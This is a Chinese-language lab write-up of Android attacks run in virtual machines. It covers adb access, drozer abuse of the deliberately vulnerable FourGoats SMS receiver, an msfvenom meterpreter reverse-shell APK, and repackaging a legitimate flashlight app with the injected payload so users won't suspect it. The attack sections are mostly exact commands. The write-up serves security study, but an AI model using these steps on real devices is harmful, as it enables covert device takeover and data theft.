Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)

Android shell 劫持实验

    • 1.实验设置与工具下载
    • 2.安卓设备发现和adb访问
    • 3. AndroidManifest.xml文件获取与解析
    • 4. 修改apk包 调用短信接口
    • 5. 构建恶意app获取shell链接
    • 总结

图片挂掉了可以先去我的简书看
这个实验的主要目的是通过kaliVM进行各种操作控制 Android 设备的尝试。

1.实验设置与工具下载

需要的工具和下载链接

Virtualbox,虚拟机软件,也可使用vamware等其他: https://www.virtualbox.org/wiki/Downloads
KaliVM,一个基于 Debian 的 Linux 发行版,主要用来进行安全审计,渗透测试等活动,囊括了大多数开源安全测试工具:https://images.offensive-security.com/virtual-images/kali-linux-2018.4-vbox-amd64.ova
Android x86 5.1 RC1 VM,安卓虚拟机: https://sourceforge.net/projects/osboxes/files/v/vb/1-A-d/5.1/A-rc-1.7z/download

网络设置
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第1张图片

2.安卓设备发现和adb访问

使用Kali VM。 扫描10.0.0/*网段以查看有哪些设备,这里Android虚拟机的ip是10.0.0.4。
扫描网络命令:namp 10.0.0.*/24
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第2张图片

使用adb连接到Android x86 VM。 如果未安装,使用apt-get安装。
Adb的全称为Android Debug Bridge:android调试桥梁,Android的初衷是用adb这样的一个工具来协助开发人员在开发android应用的过程中更快更好的调试apk。但也可以被用来非法访问他人的Android设备。
Adb参考链接(很烦这些转载不贴原链接的):https://blog.csdn.net/zhonglunshun/article/details/78362439
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第3张图片
通过adb链接到安卓虚拟机后,就可以浏览安卓的文件了

浏览所有安装包:pm list packages
卸载应用程序notepad:pm uninstall --user 0 com.example.android.notepad

还可以查看不同应用程序的sqlite数据库,这里安装了一个ES File Explorer,查看他的数据库可以看到安卓设备中的文件信息:
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第4张图片

使用sql查看一下不同文件的数量
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第5张图片

3. AndroidManifest.xml文件获取与解析

AndroidManifest.xml是Android应用程序中非常重要的一部分,所有应用程序的组件(活动,服务,内容提供者和广播接收者)都在此文件中定义。

使用Kali VM,获取Android设备的并找到YouTube应用程序的安装位置。 找到它的apk文件并在本地下载。
apk文件只是一个包含所有必要文件的存档,以便Android操作系统理解和执行应用程序。 解压缩并查看AndroidManifest.xml文件的内容。

通过adb链接我们获取了Android的shell,找到YouTube的目录,找到YouTube.apk并通过adb下载下来。
浏览YouTube目录: ls system/app/YouTube/
通过adb下载apk命令: adb pull system/app/YouTube/YouTube.apk

解压浏览apk的内容,找到AndroidManifest.xml文件
解压命令:unzip YouTube.apk
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第6张图片

4. 修改apk包 调用短信接口

Drozer是MWR Labs开发的一款Android安全测试框架。可以用它分析app的漏洞
参考链接
安装 https://www.jianshu.com/p/4ef5b26dd3fb
使用 https://www.jianshu.com/p/dfa92bab3a55

我们找到一个简单的app,FourGoats,通过Drozer去分析漏洞
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第7张图片
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第8张图片

查看broadcast receivers,发现这个接口没有权限要求

seeInfo.png

尝试调用这个接口,程序崩溃,因为我们发送给receiver的请求没有正确对应的参数
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第9张图片

通过jadx查看FourGoats的源代码,我们找到了正确的参数,添加参数,重新调用命令。
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第10张图片

命令: run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber "1234567" --extra string message "test message"
成功发送短信
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第11张图片

5. 构建恶意app获取shell链接

英文的参考链接:Lab: Hacking an Android Device with MSFvenom

####1.使用msfconsole监听端口
Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。参考链接 https://blog.csdn.net/whatday/article/details/82913621

启动msfconsole:msfconsole -qx “use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set ExitOnSession false; exploit –j –z”
也可以分开输入:

msfconsole -q
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set ExitOnSession false
run

打开监听
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第12张图片

####2.使用msfvenom生成恶意payload
MSFvenom是Msfpayload和Msfencode的组合,可以傻瓜式地生成各种后门程序(或一部分恶意代码payload)
参考链接 https://www.offensive-security.com/metasploit-unleashed/msfvenom/

打开新的终端窗口中,我们将使用msfvenom生成一个简单的apk文件。 使用相同的(“android / meterpreter / reverse tcp”)以连接到正在侦听端口4444的Kali VM。将此应用命名为FunnyCatClips.apk。
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk
使用adb,在Android VM上安装此应用程序并将其打开。
adb install FunnyCatClips.apk

生成恶意apk
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk

使用adb安装在安卓设备上
命令:adb install FunnyCatClips.apk

在安卓设备上打开这个安卓的apk,我们监听的msfconsole控制台就能够链接到安卓设备的shell。

app在Android 上打开后,kali的控制台获得安卓设备的shell
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第13张图片

###3. 给正常app加入恶意payload
但是用户不会傻到安装一个如此可疑的app,所以我们需要找到一个正常的apk,将我们的恶意payload添加进去。
Msfvenom可以将Meterpreter的payload与另一个APK文件绑定,就可以在正常apk中加入payload。

这里有两种方法:

方法一:
msfvenom直接给apk加入payload
命令:msfvenom -x xxxx.apk -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk

方法二:
将正常的app反编译后加入payload的smali文件,重新编译并签名。

我们找到一个简单的app,手电筒flashlight,尝试将payload加入其中,并重新打包签名

######1. 使用msfvenom生成payload : output.apk
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk

######2. 使用apktool工具(kali自带,如果没有,需要安装)将output.apk和flashlight.apk反编译
apktool反编译命令:apktool d –f –o flash com.fulminesoftware.flashlightlite.apk
kali上的apktool有些问题,这里我使用了mac上的apktool
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第14张图片

######3. 复制生成的payload中的com/metasploit/stage到反编译后的flashlight文件夹
output.apk的smali文件
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第15张图片

复制到flash反编译后的对应位置
stage2.png

######4. 打开AndroidManifest.xml文件,通过MAIN 和 LAUNCHER找到程序运行的启动文件
A.png

可以看到启动文件是FlashlightLite1280ActivityWelcom.
修改smali文件FlashlightLite1280ActivityWelcom
在此smali文件中在→onCreate(Landroid/os/Bundle;)V这行下面
加入如下代码,大概的意思是会在启动时运行我们复制进去的payload
invoke-static {p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

FlashlightLite1280ActivityWelcom.smali文件:
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第16张图片

#####5 .修改 AndroidManifest.xml 中的权限
我们可能使用app原本没有要求的权限,根据需要进行添加
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第17张图片

#####6 .编译修改好的apk
命令: apktool b -f flash
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第18张图片

将编译好的包复制到kaliVM进行下一步签名操作

#####7 .签名并安装apk
创建keystore秘钥对
命令: keytool –genkey –v –keystore newkeys -alias mykey -keyalg RSA -validity 1000
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第19张图片

使用jarsigner签名apk
命令: jarsigner -verbose -keystore newkey/mykey.keystore -signedjar xxx.apk mac\ apk com.ff.apk whkey

Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第20张图片

#####8. 使用adb安装签名好的apk,测试结果
打开Android设备上的flashlight
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第21张图片

msfconsole监听端口成功获得了shell连接
输入pwd看看当前路径
Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer ...)_第22张图片

总结

基本是按部就班的操作,但整个过程涉及的工具比较多,会有一些细节上的问题,静心思考,一步步解决即可。

对于Android用户,不要轻易下载来历不明的apk进行安装即可。
不过这个还是有难度,难免会去下载。
任何一个app得到权限就可以访问整个手机的数据,相比iOS的沙盒模式,确实没有那么安全。

哦还有,Don’t be evil. 虽然Google已经摒弃这个。

你可能感兴趣的:(安全隐私)